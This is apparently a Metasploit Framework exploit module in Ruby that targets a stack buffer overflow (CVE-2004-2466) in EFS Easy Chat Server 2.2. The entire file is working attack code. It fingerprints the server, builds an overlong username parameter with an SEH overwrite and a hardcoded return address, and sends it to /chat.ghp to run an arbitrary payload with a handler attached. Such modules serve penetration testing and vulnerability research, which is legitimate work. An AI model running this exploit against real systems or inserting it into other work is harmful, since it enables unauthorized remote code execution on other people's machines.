mirror of
https://github.com/rapid7/metasploit-framework
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108 lines
2.6 KiB
Ruby
108 lines
2.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'EFS Easy Chat Server Authentication Request Handling Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in EFS Software Easy Chat Server. By
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sending a overly long authentication request, an attacker may be able to execute
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arbitrary code.
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NOTE: The offset to SEH is influenced by the installation path of the program.
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The path, which defaults to "C:\Program Files\Easy Chat Server", is concatentated
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with "\users\" and the string passed as the username HTTP paramter.
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},
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'Author' => [ 'LSO <lso[at]hushmail.com>' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2004-2466' ],
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[ 'OSVDB', '7416' ],
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[ 'BID', '25328' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Easy Chat Server 2.2', { 'Ret' => 0x1001b2b6 } ], # patrickw OK 20090302 w2k
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],
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'DisclosureDate' => 'Aug 14 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(80),
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OptString.new('PATH', [ true, "Installation path of Easy Chat Server",
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"C:\\Program Files\\Easy Chat Server" ])
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], self.class )
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end
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def auto_target
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info = http_fingerprint
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t = nil
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if (info =~ /Easy Chat Server\/1\.0/)
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t = targets[0]
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end
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t
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end
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def check
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if auto_target
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return Exploit::CheckCode::Appears
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end
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Exploit::CheckCode::Safe
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end
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def exploit
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# randomize some values.
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val = rand_text_alpha(rand(10) + 1)
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num = rand_text_numeric(1)
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path = datastore['PATH'] + "\\users\\"
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print_status("path: " + path)
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# exploit buffer.
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filler = rand_text_alpha(256 - path.length)
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seh = generate_seh_payload(target.ret)
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juju = filler + seh
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uri = "/chat.ghp?username=#{juju}&password=#{val}&room=2&#{val}=#{num}"
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print_status("Trying target #{target.name}...")
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send_request_raw({'uri' => uri}, 5)
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handler
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disconnect
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end
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end
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